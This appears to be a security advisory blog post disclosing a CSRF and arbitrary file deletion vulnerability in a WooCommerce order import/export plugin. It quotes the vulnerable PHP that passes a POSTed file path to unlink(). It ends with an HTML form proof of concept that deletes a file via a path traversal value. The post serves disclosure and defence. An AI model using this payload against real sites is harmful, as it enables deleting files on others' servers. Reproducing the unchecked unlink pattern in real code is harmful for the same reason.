While looking into something else related to the security of the plugin Order / Coupon / Subscription Export Import Plugin for WooCommerce (Order Export & Order Import for WooCommerce) we found that the latest version introduced a cross-site request forgery (CSRF)/arbitrary file deletion vulnerability.
In the new version these lines of code were added to the file /includes/importer/class-wf-orderimpexpcsv-order-import.php:
$file = isset($_POST['file']) ? stripslashes($_POST['file']) : '';
What that looks to allow is deleting arbitrary files on the website specified by the POST input “file”. Looking at the code around that you can see that it is intentionally missing a nonce, so that deletion code could be exploited through CSRF:
264 265 266 267 268 269 270 271 272 273 274 275 276 277 278 279 280 281 282 283 284 285 286 287 288 289 290
case 4 : // Check access - cannot use nonce here as it will expire after multiple requests if ( ! current_user_can( 'manage_woocommerce' ) ) die(); add_filter( 'http_request_timeout', array( $this, 'bump_request_timeout' ) ); if ( function_exists( 'gc_enable' ) ) gc_enable(); @set_time_limit(0); @ob_flush(); @flush(); $wpdb->hide_errors(); $this->processed_posts = isset( $_POST['processed_posts']) ? $_POST['processed_posts'] : array(); $file = isset($_POST['file']) ? stripslashes($_POST['file']) : ''; _e( 'Step 1...', 'order-import-export-for-woocommerce' ) . ' '; wp_defer_term_counting( true ); wp_defer_comment_counting( true ); _e( 'Step 2...', 'order-import-export-for-woocommerce' ) . ' '; echo 'Step 3...' . ' '; // Easter egg _e( 'Finalizing...', 'order-import-export-for-woocommerce' ) . ' '; // SUCCESS _e( 'Finished. Import complete.', 'order-import-export-for-woocommerce' ); unlink($file);
There seems to be some confusion on the developer’s part, earlier in the function that comes from they have a nonce check, but not a capabilities check, while there should be both.
As the proof of concept below confirms, nothing else in the code that runs before that stops exploitation.
WordPress Causes Full Disclosure
Due to the moderators of the WordPress Support Forum’s continued inappropriate behavior we are full disclosing vulnerabilities in protest until WordPress gets that situation cleaned up, so we are releasing this post and then leaving a message about that for the developer through the WordPress Support Forum. You can notify the developer of this issue on the forum as well. Hopefully the moderators will finally see the light and clean up their act soon, so these full disclosures will no longer be needed (we hope they end soon). You would think they would have already done that, but considering that they believe that having plugins, which have millions installs, remain in the Plugin Directory despite them knowing they are vulnerable is “appropriate action”, something is very amiss with them (which is even more reason the moderation needs to be cleaned up).
Update: To clear up the confusion where developers claim we hadn’t tried to notify them through the Support Forum (while at the same time moderators are complaining about us doing just that), here is the message we left for this vulnerability:
Is It Fixed?
If you are reading this post down the road the best way to find out if this vulnerability or other WordPress plugin vulnerabilities in plugins you use have been fixed is to sign up for our service, since what we uniquely do when it comes to that type of data is to test to see if vulnerabilities have really been fixed. Relying on the developer’s information, can lead you astray, as we often find that they believe they have fixed vulnerabilities, but have failed to do that.
Proof of Concept
Then the following proof of concept will delete the file test.txt in the root directory of the website, when logged in to WordPress as a user with the “manage_woocommerce” capability.
Make sure to replace “[path to WordPress]” with the location of WordPress.
<html> <body> <form action="http://[path to WordPress]/wp-admin/admin-ajax.php?action=woocommerce_csv_order_import_request&step=4" method="POST"> <input type="hidden" name="file" value="../test.txt" /> <input type="submit" value="Submit" /> </form> </body>